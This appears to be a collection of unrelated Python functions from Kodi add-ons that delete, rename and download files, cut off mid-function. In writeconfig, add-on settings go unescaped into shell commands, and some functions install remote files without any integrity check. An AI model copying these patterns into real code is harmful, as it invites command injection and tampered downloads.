def deleteTexture( sourceurl ): OK = False #print "-"*100 #try: # c_filename = xbmc.getCacheThumbName( sourceurl ) # cachedurl = "%s/%s.png" % ( c_filename[ 0 ], c_filename.replace( ".tbn", "" ) ) # cached_tbumb = "special://profile/Thumbnails/" + cachedurl # xbmcvfs.delete( cached_tbumb ) # #OK = xbmcvfs.copy( sourceurl, cached_tbumb ) # #print "I just deleted %r thumbs" % OK #except: # cachedurl = None if sqlite3: for db in glob.glob( xbmc.translatePath( "special://Database/Textures*.db" ) ): conn = None try: # connect to textures database conn = sqlite3.connect( db ) c_url = conn.execute( 'SELECT cachedurl FROM texture WHERE url=?', ( sourceurl, ) ).fetchone() if c_url: cachedurl = c_url[ 0 ] cached_tbumb = "special://profile/Thumbnails/" + cachedurl xbmcvfs.delete( cached_tbumb ) # row_count = conn.execute( 'DELETE FROM texture WHERE cachedurl=?', ( cachedurl, ) ).rowcount #print ( cachedurl, sourceurl ) #print "I just deleted %r rows in %s" % ( row_count, os.path.basename( db ) ) conn.commit() OK = True except: print_exc() if hasattr( conn, "close" ): # close database conn.close() return OK
def _double_dot_fix_hack(video_filename): """Corrects filename of downloaded subtitle from Foo-Blah..srt to Foo-Blah.es.srt""" log(u"video_filename = %s" % video_filename) work_path = video_filename if _subtitles_setting('storagemode'): custom_subs_path = _subtitles_setting('custompath') if custom_subs_path: _, fname = os.path.split(video_filename) work_path = pjoin(custom_subs_path, fname) log(u"work_path = %s" % work_path) parts = work_path.rsplit('.', 1) if len(parts) > 1: rest = parts[0] for ext in ('srt', 'ssa', 'sub', 'idx'): bad = rest + '..' + ext old = rest + '.es.' + ext if xbmcvfs.exists(bad): log(u"%s exists" % bad) if xbmcvfs.exists(old): log(u"%s exists, removing" % old) xbmcvfs.delete(old) log(u"renaming %s to %s" % (bad, old)) xbmcvfs.rename(bad, old)
def extract_and_copy(extraction=0): i = 0 for root, dirs, files in os.walk(extract_path, topdown=False): for file in files: dirfile = os.path.join(root, file) # Sanitize filenames - converting them to ASCII - and remove them from folders f = xbmcvfs.File(dirfile) temp = f.read() f.close() xbmcvfs.delete(dirfile) dirfile_with_path_name = os.path.relpath(dirfile, extract_path) dirfile_with_path_name = re.sub(r"[/\\]{1,2}","-", dirfile_with_path_name) dirfile_with_path_name = _UNICODE(dirfile_with_path_name).encode('ascii', 'ignore') new_dirfile = os.path.join(extract_path, dirfile_with_path_name) os.write(os.open(new_dirfile, os.O_RDWR | os.O_CREAT), temp) # Get the file extention ext = os.path.splitext(new_dirfile)[1][1:].lower() if ext in sub_ext and xbmcvfs.exists(new_dirfile): if not new_dirfile in legendas_tmp: #Append the matching file legendas_tmp.append(new_dirfile) elif ext in "rar zip" and not extraction: # Extract compressed files, extracted priorly xbmc.executebuiltin("XBMC.Extract(%s, %s)" % (new_dirfile, extract_path)) xbmc.sleep(1000) extract_and_copy(1) elif ext not in "idx": xbmcvfs.delete(new_dirfile) for dir in dirs: dirfolder = os.path.join(root, dir) xbmcvfs.rmdir(dirfolder)
def delete_empty_folders(self, location): """ Delete the folder if it is empty. Presence of custom file extensions can be ignored while scanning. To achieve this, edit the ignored file types setting in the addon settings. Example: success = delete_empty_folders(path) :type location: str :param location: The path to the folder to be deleted. :rtype: bool :return: True if the folder was deleted successfully, False otherwise. """ if not get_setting(delete_folders): debug("Deleting of empty folders is disabled.") return False folder = self.unstack(location)[0] # Stacked paths should have the same parent, use any debug("Checking if %r is empty" % folder) ignored_file_types = [file_ext.strip() for file_ext in get_setting(ignore_extensions).split(",")] debug("Ignoring file types %r" % ignored_file_types) subfolders, files = xbmcvfs.listdir(folder) debug("Contents of %r:\nSubfolders: %r\nFiles: %r" % (folder, subfolders, files)) empty = True try: for f in files: _, ext = os.path.splitext(f) if ext and not ext in ignored_file_types: # ensure f is not a folder and its extension is not ignored debug("Found non-ignored file type %r" % ext) empty = False break except OSError as oe: debug("Error deriving file extension. Errno " + str(oe.errno), xbmc.LOGERROR) empty = False # Only delete directories if we found them to be empty (containing no files or filetypes we ignored) if empty: debug("Directory is empty and will be removed") try: # Recursively delete any subfolders for f in subfolders: debug("Deleting file at " + str(os.path.join(folder, f))) self.delete_empty_folders(os.path.join(folder, f)) # Delete any files in the current folder for f in files: debug("Deleting file at " + str(os.path.join(folder, f))) xbmcvfs.delete(os.path.join(folder, f)) # Finally delete the current folder return xbmcvfs.rmdir(folder) except OSError as oe: debug("An exception occurred while deleting folders. Errno " + str(oe.errno), xbmc.LOGERROR) return False else: debug("Directory is not empty and will not be removed") return False
def unInstallFont(paths=None): paths = paths or getPaths() if not os.path.exists(paths.fontBackupPath): return False if os.path.exists(paths.fontPath): xbmcvfs.delete(paths.fontPath) xbmcvfs.rename(paths.fontBackupPath,paths.fontPath) dialogs.showMessage(T(32417),T(32590)) return True
def _checkValidationFile(self,path): result = False #copy the file and open it self.xbmc_vfs.put(path + "xbmcbackup.val",xbmc.translatePath(utils.data_dir() + "xbmcbackup_restore.val")) vFile = xbmcvfs.File(xbmc.translatePath(utils.data_dir() + "xbmcbackup_restore.val"),'r') jsonString = vFile.read() vFile.close() #delete after checking xbmcvfs.delete(xbmc.translatePath(utils.data_dir() + "xbmcbackup_restore.val")) try: json_dict = json.loads(jsonString) if(xbmc.getInfoLabel('System.BuildVersion') == json_dict['xbmc_version']): result = True else: result = xbmcgui.Dialog().yesno(utils.getString(30085),utils.getString(30086),utils.getString(30044)) except ValueError: #may fail on older archives result = True return result
def _reset_all_shortcuts( self ): log( "### Resetting all shortcuts" ) log( repr( self.WARNING) ) dialog = xbmcgui.Dialog() shouldRun = None if self.WARNING is not None and self.WARNING.lower() == "false": shouldRun = True # Ask the user if they're sure they want to do this if shouldRun is None: shouldRun = dialog.yesno( __language__( 32037 ), __language__( 32038 ) ) if shouldRun: for files in xbmcvfs.listdir( __datapath__ ): # Try deleting all shortcuts if files: for file in files: if file != "settings.xml": file_path = os.path.join( __datapath__, file.decode( 'utf-8' ) ).encode( 'utf-8' ) if xbmcvfs.exists( file_path ): try: xbmcvfs.delete( file_path ) except: print_exc() log( "### ERROR could not delete file %s" % file[0] ) # Update home window property (used to automatically refresh type=settings) xbmcgui.Window( 10000 ).setProperty( "skinshortcuts",strftime( "%Y%m%d%H%M%S",gmtime() ) ) # Reset all window properties (so menus will be reloaded) self.reset_window_properties()
def housekeeper(): file_flag = xbmcvfs.exists("special://home/userdata/addon_data/script.audio.rhapsody/.clean_me") files = [".albumdb.obj", ".artistdb.obj", ".genres.obj", ".rhapuser.obj"] #now = time.time() #print "current timestamp, type: %s %s" % (str(now), type(now)) if file_flag: print "Found the clean_me file! Now let's delete it" xbmcvfs.delete("special://home/userdata/addon_data/script.audio.rhapsody/.clean_me") else: print "No clean-me file. Let's check file dates" for item in files: f = "special://home/userdata/addon_data/script.audio.rhapsody/"+item f_os = xbmc.translatePath(f) print "Checking "+f_os if xbmcvfs.exists(f): modifiedTime = os.path.getmtime(f_os) if modifiedTime < AGE_STAMP: file_flag = True print "%s is too old. Let's do some housekeeping." % (item) break if file_flag: print "Deleting files..." for item in files: f = "special://home/userdata/addon_data/script.audio.rhapsody/"+item f_os = xbmc.translatePath(f) print "Deleting "+f_os if xbmcvfs.exists(f): xbmcvfs.delete(f) print "Performed housekeeping" else: print "No housekeeping necessary"
def extract_and_copy(extraction=0): for root, dirs, files in os.walk(extractPath, topdown=False): for file in files: dirfile = os.path.join(root, file) # Sanitize filenames - converting them to ASCII - and remove them from folders f = xbmcvfs.File(dirfile) temp = f.read() f.close() xbmcvfs.delete(dirfile) dirfile_with_path_name = normalizeString(os.path.relpath(dirfile, extractPath)) dirname, basename = os.path.split(dirfile_with_path_name) dirname = re.sub(r"[/\\]{1,10}","-", dirname) dirfile_with_path_name = "(%s)%s" % (dirname, basename) if len(dirname) else basename new_dirfile = os.path.join(extractPath, dirfile_with_path_name) with open(new_dirfile, "w") as f: f.write(temp) # Get the file extension ext = os.path.splitext(new_dirfile)[1][1:].lower() if ext in sub_ext and xbmcvfs.exists(new_dirfile): if not new_dirfile in subtitles: #Append the matching file subtitles.append(new_dirfile) elif ext in "rar zip" and not extraction: # Extract compressed files, extracted priorly xbmc.executebuiltin("XBMC.Extract(%s, %s)" % (new_dirfile, extractPath)) xbmc.sleep(1000) extract_and_copy(1) elif ext not in "idx": xbmcvfs.delete(new_dirfile) for dir in dirs: dirfolder = os.path.join(root, dir) xbmcvfs.rmdir(dirfolder)
def get_database(self): '''get reference to our sqllite database - performs basic integrity check''' addon = xbmcaddon.Addon(ADDON_ID) dbpath = addon.getAddonInfo('profile') dbfile = xbmc.translatePath("%s/simplecache.db" % dbpath).decode('utf-8') if not xbmcvfs.exists(dbpath): xbmcvfs.mkdirs(dbpath) del addon try: connection = sqlite3.connect(dbfile, timeout=30, isolation_level=None) connection.execute('SELECT * FROM simplecache LIMIT 1') return connection except Exception as error: # our database is corrupt or doesn't exist yet, we simply try to recreate it if xbmcvfs.exists(dbfile): xbmcvfs.delete(dbfile) try: connection = sqlite3.connect(dbfile, timeout=30, isolation_level=None) connection.execute( """CREATE TABLE IF NOT EXISTS simplecache( id TEXT UNIQUE, expires INTEGER, data TEXT, checksum INTEGER)""") return connection except Exception as error: self.log_msg("Exception while initializing database: %s" % str(error), xbmc.LOGWARNING) self.close() return None
def check_login(): login = __settings__.getSetting("Login") password = __settings__.getSetting("Password") if len(login) > 0: http = GET(httpSiteUrl, httpSiteUrl) if http is None: return False beautifulSoup = BeautifulSoup(http) userPanel = beautifulSoup.find('a', 'b-header__user-profile') if userPanel is None: xbmcvfs.delete(cookiepath) loginResponse = GET(httpSiteUrl + '/login.aspx', httpSiteUrl, { 'login': login, 'passwd': password, 'remember': 'on' }) loginSoup = BeautifulSoup(loginResponse) userPanel = loginSoup.find('a', 'b-header__user-profile') if userPanel is None: show_message('Login', 'Check login and password', 3000) else: return True else: return True return False
def delete_advancedxml(): userdatapath = xbmc.translatePath(os.path.join('special://home/userdata'.decode('utf-8'),''.decode('utf-8'))) advancedsettings_var = os.path.join(userdatapath,'advancedsettings.xml') advancedsettingsbackup_var = os.path.join(userdatapath,'advancedsettingsbackup.xml') xbmcvfs.delete(advancedsettings_var) mensagemok(translate(40000),translate(40066)) xbmc.executebuiltin("Container.Refresh")
def import_advancedxml(): userdatapath = xbmc.translatePath(os.path.join('special://home/userdata'.decode('utf-8'),''.decode('utf-8'))) advancedsettings_var = os.path.join(userdatapath,'advancedsettings.xml') advancedsettingsbackup_var = os.path.join(userdatapath,'advancedsettingsbackup.xml') if xbmcvfs.exists(advancedsettings_var): print("An advanced settings XML file already exists") if xbmcvfs.exists(advancedsettingsbackup_var): print("An advanced settings backup already exists") xbmcvfs.delete(advancedsettingsbackup_var) xbmcvfs.rename(advancedsettings_var,advancedsettingsbackup_var) advancedname = ["Cachemembuffer=252420","freememorycachepercent=5"] advancedurl = ["http://p2p-strm.googlecode.com/svn/trunk/Advancedsettings/advancedsettings.xml","http://p2p-strm.googlecode.com/svn/trunk/Advancedsettings/advancedsettingstonicillo.xml"] index = xbmcgui.Dialog().select(translate(40185), advancedname) if index > -1: download_tools().Downloader(advancedurl[index],advancedsettings_var,translate(40059),translate(40000)) mensagemok(translate(40000),translate(40060)) else: xbmcvfs.rename(advancedsettings_var,advancedsettingsbackup_var) advancedname = ["Cachemembuffer=252420","freememorycachepercent=5"] advancedurl = ["http://p2p-strm.googlecode.com/svn/trunk/Advancedsettings/advancedsettings.xml","http://p2p-strm.googlecode.com/svn/trunk/Advancedsettings/advancedsettingstonicillo.xml"] index = xbmcgui.Dialog().select(translate(40185), advancedname) if index > -1: download_tools().Downloader(advancedurl[index],advancedsettings_var,translate(40059),translate(40000)) mensagemok(translate(40000),translate(40060)) else: print("No advancedsettings.xml in the system yet") advancedname = ["Cachemembuffer=252420","freememorycachepercent=5"] advancedurl = ["http://p2p-strm.googlecode.com/svn/trunk/Advancedsettings/advancedsettings.xml","http://p2p-strm.googlecode.com/svn/trunk/Advancedsettings/advancedsettingstonicillo.xml"] index = xbmcgui.Dialog().select(translate(40185), advancedname) if index > -1: download_tools().Downloader(advancedurl[index],advancedsettings_var,translate(40059),translate(40000)) mensagemok(translate(40000),translate(40060)) xbmc.executebuiltin("Container.Refresh")
def UpdateFiles(): log('UpdateFiles') url='https://github.com/Lunatixz/XBMC_Addons/raw/master/zips/repository.lunatixz/repository.lunatixz-1.0.zip' name = 'repository.lunatixz.zip' MSG = 'Lunatixz Repository Installed' path = xbmc.translatePath(os.path.join('special://home/addons','packages')) addonpath = xbmc.translatePath(os.path.join('special://','home/addons')) lib = os.path.join(path,name) log('URL = ' + url) # Delete old install package try: xbmcvfs.delete(lib) log('deleted old package') except: pass try: download(url, lib, '') log('downloaded new package') all(lib,addonpath,'') log('extracted new package') except: MSG = 'Failed to install Lunatixz Repository, Try Again Later' pass xbmc.executebuiltin("XBMC.UpdateLocalAddons()"); xbmc.executebuiltin("Notification( %s, %s, %d, %s)" % ("PseudoTV Live", MSG, 1000, THUMB) ) return
def removeFile(self, path): if xbmcvfs.exists(path): try: print "Unlinking: %s" % path xbmcvfs.delete(path) except: print "Exception: ",str(sys.exc_info())
def writeconfig(): system("systemctl stop service.net-snmp.service") community = __addon__.getSetting("COMMUNITY") location = __addon__.getSetting("LOCATION") contact = __addon__.getSetting("CONTACT") snmpversion = __addon__.getSetting("SNMPVERSION") if xbmcvfs.exists(persistent): xbmcvfs.delete(persistent) file = xbmcvfs.File(config, 'w') file.write('com2sec local default {}\n'.format(community)) file.write('group localgroup {} local\n'.format(snmpversion)) file.write('access localgroup "" any noauth exact all all none\n') file.write('view all included .1 80\n') file.write('syslocation {}\n'.format(location)) file.write('syscontact {}\n'.format(contact)) file.write('dontLogTCPWrappersConnects yes\n') file.close() if snmpversion == "v3": snmppassword = __addon__.getSetting("SNMPPASSWORD") snmpuser = __addon__.getSetting("SNMPUSER") system("net-snmp-config --create-snmpv3-user -a {0} {1}".format(snmppassword,snmpuser)) system("systemctl start service.net-snmp.service")
def delete(self, path, inner=False): dirlist, filelist = self.listdir(path, full=True) [xbmcvfs.delete(self._path(x)) for x in filelist] [self.delete(self._path(x)) for x in dirlist] if not inner: if not xbmcvfs.delete(self._path(path)): xbmcvfs.rmdir(self._path(path))
def deleteCachedArtwork(self, url): # Only necessary to remove and apply a new backdrop or poster connection = utils.kodiSQL('texture') cursor = connection.cursor() try: cursor.execute("SELECT cachedurl FROM texture WHERE url = ?", (url,)) cachedurl = cursor.fetchone()[0] except TypeError: self.logMsg("Could not find cached url.", 1) except OperationalError: self.logMsg("Database is locked. Skip deletion process.", 1) else: # Delete thumbnail as well as the entry thumbnails = xbmc.translatePath("special://thumbnails/%s" % cachedurl).decode('utf-8') self.logMsg("Deleting cached thumbnail: %s" % thumbnails, 1) xbmcvfs.delete(thumbnails) try: cursor.execute("DELETE FROM texture WHERE url = ?", (url,)) connection.commit() except OperationalError: self.logMsg("Issue deleting url from cache. Skipping.", 2) finally: cursor.close()
def removeCollection(self, name, link): if name in [None, ""]: return collectionCtrl = CollectSets() collectionDetails = collectionCtrl.loadCollection(link) filesToDelete = [] # If the file was not processed just don't display anything if collectionDetails not in [None, ""]: screensaverFolder = Settings.getScreensaverFolder() for videoItem in collectionDetails['videos']: # If theme exists we need to check if we want to delete it if screensaverFolder not in [None, ""]: videoLocation = os_path_join(screensaverFolder, videoItem['filename']) log("VideoScreensaverPlugin: Checking if %s already downloaded to %s" % (videoItem['filename'], videoLocation)) if xbmcvfs.exists(videoLocation): filesToDelete.append(videoLocation) # If there are possible files to delete, then prompt the user to see if we should if len(filesToDelete) > 0: needDelete = xbmcgui.Dialog().yesno(ADDON.getLocalizedString(32005), ADDON.getLocalizedString(32086)) if needDelete: for vidFile in filesToDelete: xbmcvfs.delete(vidFile) # Now remove the actual collection collectionCtrl.removeCustomCollection(name) del collectionCtrl # Now reload the screen to reflect the change xbmc.executebuiltin("Container.Refresh")
def getUpdate(): req = urllib2.Request('http://home.no/chj191/') response = urllib2.urlopen(req) link=response.read() response.close() soup = BeautifulSoup(link, convertEntities=BeautifulSoup.HTML_ENTITIES) files = re.compile('<a href="(.+?)">LiveTV.xml</a>').findall name = 'LiveTV.xml' url = 'http://home.no/chj191/'+name addDir(name,url,11,icon,fanart,'','','',False) if not xbmcvfs.exists(__settings__.getSetting('save_location')): success = xbmcvfs.mkdir(__settings__.getSetting('save_location')) save_location = __settings__.getSetting('save_location') if 'smb:' in save_location: file_name = xbmc.makeLegalFilename(os.path.join( profile, 'temp', name)) f = open(os.path.join( profile, 'temp', name),"w") f.write(link) f.close() copy = xbmcvfs.copy(os.path.join( profile, 'temp', name), os.path.join( save_location, name)) if copy: xbmcvfs.delete( xbmc.translatePath(os.path.join( profile, 'temp', name))) else: print '------ Error smb: makeLegalFilename -----' else: try: file_name = xbmc.makeLegalFilename(os.path.join(save_location, name)) f = open(os.path.join(save_location, name),"w") f.write(link) f.close() except: print "there was a problem writing to save location." return xbmc.executebuiltin("XBMC.Notification(LiveTV,LiveTV Updated,5000,"+icon+")")
def delete(fle): FileAccess.log('deleting ' + fle) try: xbmcvfs.delete(fle) return True except: FileAccess._delete(fle)
def __init__( self ): self.Today = datetime.datetime.now() if xbmcvfs.exists( MissingTop250 ): xbmcvfs.delete( MissingTop250 ) file( MissingTop250, "w" ).write( str( "Missing Top250 generated on " + self.Today.strftime( Local ) + "\n\n" ) ) self.MissingTop250 = []; self.Aborted = False; self.Top250 = self.getTop250() if len( self.Top250 ) <= 0: defaultLog( addonLanguage(32605) ) if BackgroundRun == "0" and HideProgress == "false": dialogOK( addonLanguage(32601), addonLanguage(32605), "", "" ) else: doNotify( addonLanguage(32605), 15000 ) else: self.getMovies() if self.Aborted != True: if len( self.Movies ) <= 0: defaultLog( addonLanguage(32607) ) if BackgroundRun == "0" and HideProgress == "false": dialogOK( addonLanguage(32601), addonLanguage(32607), "", "" ) else: doNotify( addonLanguage(32607), 15000 ) else: getResponse = self.doScan() if self.Aborted != True: ruDatabase.Execute( 'UPDATE latest SET top250 = "%s"' % self.Today.strftime( Local ) ) ruDatabase.Execute( 'UPDATE resume SET top250 = "32251"' ) if BackgroundRun == "0" and HideProgress == "false": getResponse = getResponse.split("|") Question = dialogQuestion( addonLanguage(32600), addonLanguage(32400), getResponse[0], getResponse[1], addonLanguage(32104), addonLanguage(32105) ) if Question == 1: import ruTop250Gui ruTop250Gui.ruTop250Gui( "script_rating_update-lists.xml", addonSettings.getAddonInfo( "path" ), "Default", forceFallback = False, parent = self ) else: doNotify( getResponse, 15000 ) else: doNotify( getResponse, 15000 )
def xmltv_creator(self): if xbmc.abortRequested == True: sys.exit() self.xmltv += '<tv>\n' for channel in self.channels: channel = self.xml_attrib(channel) self.xmltv += '<channel id="%s">\n' % (channel) self.xmltv += '<display-name>%s</display-name>\n' % (channel) self.xmltv += '<icon src="%s/%s.png"/>\n' % (addonLogos, channel) self.xmltv += '<stream>plugin://plugin.video.hellenic.tv/?action=play_live&channel=%s</stream>\n' % (channel.replace(' ','_')) self.xmltv += '</channel>\n' self.get_channelDict() for c in self.channelDict: try: if not c[0] in self.channels: raise Exception() self.channels = [i for i in self.channels if not i == c[0]] if c[1] == 'OTE': self.ote_programme(c[0], c[2]) elif c[1] == 'TVC': self.tvc_programme(c[0], c[2]) except: pass for channel in self.channels: self.dummy_programme(channel) self.xmltv += '</tv>' write = self.xmltv.replace('\n','').encode('utf8') try: xbmcvfs.delete(addonEPG) except: pass file = xbmcvfs.File(addonEPG, 'w') file.write(str(write)) file.close()
def _clear_watched_items( clear_type ): utils.log( "_clear_watched_items( %s )" % ( clear_type ), xbmc.LOGNOTICE ) # initialize base_path base_paths = [] # clear trivia or trailers if ( clear_type == "ClearWatchedTrailers" ): # handle AMT db special sys.path.append( os.path.join( BASE_RESOURCE_PATH, "lib", "scrapers") ) from amt_database import scraper as scraper Scraper = scraper.Main() # update trailers Scraper.clear_watched() # set base watched file path base_paths += [ os.path.join( BASE_CURRENT_SOURCE_PATH, "amt_current_watched.txt" ) ] base_paths += [ os.path.join( BASE_CURRENT_SOURCE_PATH, "local_watched.txt" ) ] else: # set base watched file path base_paths = [ os.path.join( BASE_CURRENT_SOURCE_PATH, "trivia_watched.txt" ) ] try: # set proper message message = ( 32531, 32541, )[ sys.argv[ 1 ] == "ClearWatchedTrailers" ] # remove watched status file(s) for base_path in base_paths: # remove file if it exists if ( xbmcvfs.exists( base_path ) ): xbmcvfs.delete( base_path ) except: # set proper message message = ( 32532, 32542, )[ sys.argv[ 1 ] == "ClearWatchedTrailers" ] # inform user of result ok = xbmcgui.Dialog().ok( __language__( 32000 ), __language__( message ) )
def writeTemp(content): if xbmcvfs.exists(temp): xbmcvfs.delete(temp) f = xbmcvfs.File(temp, 'w') f.write(content) f.close()
def panFetch(song, path): global _high isad = int(_settings.getSetting('isad')) * 1024 wait = int(_settings.getSetting('delay')) qual = _settings.getSetting('quality') skip = _settings.getSetting('skip') url = urlparse.urlsplit(song.audioUrl[qual]) conn = httplib.HTTPConnection(url.netloc, timeout = 9) conn.request('GET', "%s?%s" % (url.path, url.query)) strm = conn.getresponse() size = int(strm.getheader('content-length')) if size in (341980, 173310): # empty song cause requesting to fast xbmc.log("%s.Fetch MT (%13s,%8d) '%s - %s - %s'" % (_plugin, _stamp, size, song.songId[:4], song.artist, song.title), xbmc.LOGDEBUG) panMsg(song, 'To Many Songs Requested') return xbmc.log("%s.Fetch %s (%13s,%8d) '%s - %s - %s'" % (_plugin, strm.reason, _stamp, size, song.songId[:4], song.artist, song.title)) totl = 0 qued = False last = time.time() file = open(path, 'wb', 0) while (totl < size) and (not xbmc.abortRequested): try: data = strm.read(min(4096, size - totl)) except socket.timeout: xbmc.log("%s.Fetch TO (%13s,%8d) '%s - %s - %s'" % (_plugin, _stamp, totl, song.songId[:4], song.artist, song.title), xbmc.LOGDEBUG) break if _high < (time.time() - last): _high = time.time() - last last = time.time() file.write(data) totl += len(data) if (not qued) and (size > isad): threading.Timer(wait, panQueue, (song, path)).start() qued = True file.close() conn.close() if totl < size: # incomplete file xbmc.log("%s.Fetch RM (%13s) '%s - %s - %s'" % (_plugin, _stamp, song.songId[:4], song.artist, song.title), xbmc.LOGDEBUG) xbmcvfs.delete(path) elif size <= isad: # looks like an ad if skip == 'true': xbmc.log("%s.Fetch AD (%13s) '%s - %s - %s'" % (_plugin, _stamp, song.songId[:4], song.artist, song.title), xbmc.LOGDEBUG) xbmcvfs.delete(path) elif qued == False: # play it anyway song.artist = song.album = song.title = 'Advertisement' dest = path + '.ad.m4a' xbmcvfs.rename(path, dest) panQueue(song, dest) else: panSave(song, path)
def restoreColorTheme(): import shutil import zipfile zip_path = None userThemesPath = os.path.join(userThemesDir,"themes") + os.sep zip_path = get_browse_dialog(dlg_type=1,heading=ADDON.getLocalizedString(32020),mask=".zip") if zip_path and zip_path != "protocol://": #create temp path temp_path = xbmc.translatePath('special://temp/skinbackup/').decode("utf-8") if xbmcvfs.exists(temp_path): shutil.rmtree(temp_path) xbmcvfs.mkdir(temp_path) #unzip to temp if "\\" in zip_path: delim = "\\" else: delim = "/" zip_temp = xbmc.translatePath('special://temp/' + zip_path.split(delim)[-1]).decode("utf-8") xbmcvfs.copy(zip_path,zip_temp) zfile = zipfile.ZipFile(zip_temp) zfile.extractall(temp_path) zfile.close() xbmcvfs.delete(zip_temp) dirs, files = xbmcvfs.listdir(temp_path) for file in files: if file.endswith(".theme") or file.endswith(".jpg"): sourcefile = os.path.join(temp_path,file) destfile = os.path.join(userThemesPath,file) xbmcvfs.copy(sourcefile,destfile) xbmcgui.Dialog().ok(ADDON.getLocalizedString(32022), ADDON.getLocalizedString(32021))
def getImagesMjpegInterlace(self, camera, url, control, prefix): """ Update camera position with interlaced mjpeg frames """ try: stream = requests.get(url, stream=True, timeout=TIMEOUT).raw except requests.RequestException as e: utils.log(3, e) control[0].setImage(_error, useCache=False) return x = 0 while not monitor.abortRequested() and self.isRunning: filename = os.path.join(_datapath, "%s_%s.%d.jpg") % (prefix, camera.number, x) filename_exists = utils.get_mjpeg_frame(stream, filename) if filename_exists: if x % 2 == 0: # Interlacing for flicker reduction/elimination control[0].setImage(filename, useCache=False) else: control[1].setImage(filename, useCache=False) xbmcvfs.delete(os.path.join(_datapath, "%s_%s.%d.jpg") % (prefix, camera.number, x - 2)) x += 1 else: utils.log(3, "Camera %s - Error on MJPEG" % camera.number) control[0].setImage(_error, useCache=False) return
def removeKeymap(): targetPath = _keymapTarget() import xbmcvfs if os.path.exists(targetPath): xbmcvfs.delete(targetPath) xbmc.executebuiltin("action(reloadkeymaps)") xbmcgui.Dialog().ok(T(32116), T(32117))
def downloadURL(self,targetdir,url,fname=None,final_target_dir=None): if not fname: fname = os.path.basename(urlparse.urlsplit(url)[2]) if not fname: fname = 'file' f,e = os.path.splitext(fname) fn = f ct=0 while ct < 1000: ct += 1 path = os.path.join(targetdir,fn + e) finalPath = os.path.join(final_target_dir,fn + e) if not xbmcvfs.exists(path): break fn = f + str(ct) else: raise Exception try: self.current = 0 self.display = '{0}: {1}'.format(T(32100),os.path.basename(path)) self.prog.update(0,self.message,self.display) t,ftype = self.getUrlFile(url,path,callback=self.progCallback) #@UnusedVariable except: ERROR('DOWNLOAD URL ERROR') self.prog.close() return (None,'') finally: self.prog.close() if final_target_dir: xbmcvfs.copy(path,finalPath) xbmcvfs.delete(path) return (os.path.basename(path),ftype)
def create_tarball(self): """ takes the file list and creates a tarball in the backup location """ location = self.settings_dict['backup_location'] # get list of tarballs in backup location tarballs = self.list_current_tarballs(location) # check the users desired number of backups permitted_tarball_count = self.settings_dict['tarball_count'] # determine how many extra tarballs there are extras = len(tarballs) - permitted_tarball_count + 1 remove_these = [] if extras > 0 and permitted_tarball_count != 0: remove_these = tarballs[:extras] # get the tag for the backup file tag = self.generate_tarball_name() # generate name for temporary tarball local_tarball_name = os.path.join( xbmcvfs.translatePath('special://temp'), FILE_PATTERN % tag) # generate name for remote tarball remote_tarball_name = os.path.join(location, FILE_PATTERN % tag) # get the size of all the files that are being backed up total_size = max(1, self.estimate_disk_requirement(func='log')) progress_total = 0 # create a progress bar ''' Controls the creation and updating of the background progress bar in kodi. The data gets sent from the apt_cache_action script via the socket percent, must be an integer heading, string containing the running total of items, bytes and speed message, string containing the name of the package or the active process. ''' pct = 0 self.progress( **{ 'percent': pct, 'heading': self.lang(32147), 'message': self.lang(32159) }) new_root = xbmcvfs.translatePath('special://home') try: with tarfile.open(name=local_tarball_name, mode="w:gz") as tar: for name, size in self.backup_candidates: # if the user wants to backup the fstab file, then copy it to userdata base_name = [f for f in name.split('/') if f][-1] autofs_source = next( (f for f in AUTOFS_SOURCE_FILES if f.endswith((base_name, base_name + '/'))), '') if name.endswith('fstab'): try: self.copy_to_backup('/etc/fstab', name) except: continue elif name.endswith('authorized_keys'): try: self.copy_to_backup( '/home/osmc/.ssh/authorized_keys', name) except: continue elif name.endswith('/.hts/'): try: self.copy_to_backup('/home/osmc/.hts/', name) except: continue elif name.endswith('smb-local.conf'): try: self.copy_to_backup('/etc/samba/smb-local.conf', name) except: continue elif autofs_source: self.copy_to_backup(autofs_source, name) self.progress( **{ 'percent': pct, 'heading': self.lang(32147), 'message': '%s' % name }) xbmc.sleep( 150) # sleep for 150ms to resolve invalid FileNotFound try: new_path = os.path.relpath(name, new_root) tar.add(name, arcname=new_path) except: log('%s failed to backup to tarball' % name) continue progress_total += math.log(max(size, 1)) pct = int((progress_total / float(total_size)) * 100.0) # copy the local file to remote location self.progress( **{ 'percent': 100, 'heading': self.lang(32147), 'message': self.lang(32160) }) log('local tarball name: %s' % local_tarball_name) log('local tarball exists: %s' % os.path.isfile(local_tarball_name)) log('remote tarball name: %s' % remote_tarball_name) log('remote tarball exists: %s' % os.path.isfile(remote_tarball_name)) success = xbmcvfs.copy(local_tarball_name, remote_tarball_name) if success: log('Backup file successfully transferred') try: xbmcvfs.delete(local_tarball_name) except: log('Cannot delete temp file at %s' % local_tarball_name) else: log('Transfer of backup file not successful: %s' % success) self.progress(kill=True) _ = DIALOG.ok(self.lang(32152), self.lang(32153)) try: xbmcvfs.delete(local_tarball_name) except: log('Cannot delete temp file at %s' % local_tarball_name) return 'failed' # remove the unneeded backups (this will only occur if the tarball # is successfully created) log('Removing these files: %s' % remove_these) for r in remove_these: try: self.progress( **{ 'percent': 100, 'heading': self.lang(32147), 'message': self.lang(32161) % r }) xbmcvfs.delete(os.path.join(location, r)) except Exception as e: log('Deleting tarball failed: %s' % r) log(type(e).__name__) log(e.args) log(traceback.format_exc()) self.progress(kill=True) except Exception as e: self.progress(kill=True) log('Creating tarball failed') log(type(e).__name__) log(e.args) log(traceback.format_exc()) return 'failed'
def main(self, env): if (env == 'urlresolver'): addon('script.module.urlresolver').openSettings() return elif (env == 'metahandler'): addon('script.module.metahandler').openSettings() return elif (env == 'changelog_old'): try: sUrl = 'https://raw.githubusercontent.com/Kodi-vStream/venom-xbmc-addons/master/plugin.video.vstream/changelog.txt' oRequest = urllib2.Request(sUrl) oResponse = urllib2.urlopen(oRequest) # En python 3 on doit décoder la reponse if xbmc.getInfoLabel('system.buildversion')[0:2] >= '19': sContent = oResponse.read().decode('utf-8') else: sContent = oResponse.read() self.TextBoxes('vStream Changelog', sContent) except: self.DIALOG.VSerror("%s, %s" % (self.ADDON.VSlang(30205), sUrl)) return elif (env == 'changelog'): class XMLDialog(xbmcgui.WindowXMLDialog): def __init__(self, *args, **kwargs): xbmcgui.WindowXMLDialog.__init__(self) pass def onInit(self): self.container = self.getControl(6) self.button = self.getControl(5) self.getControl(3).setVisible(False) self.getControl(1).setLabel('ChangeLog') self.button.setLabel('OK') sUrl = 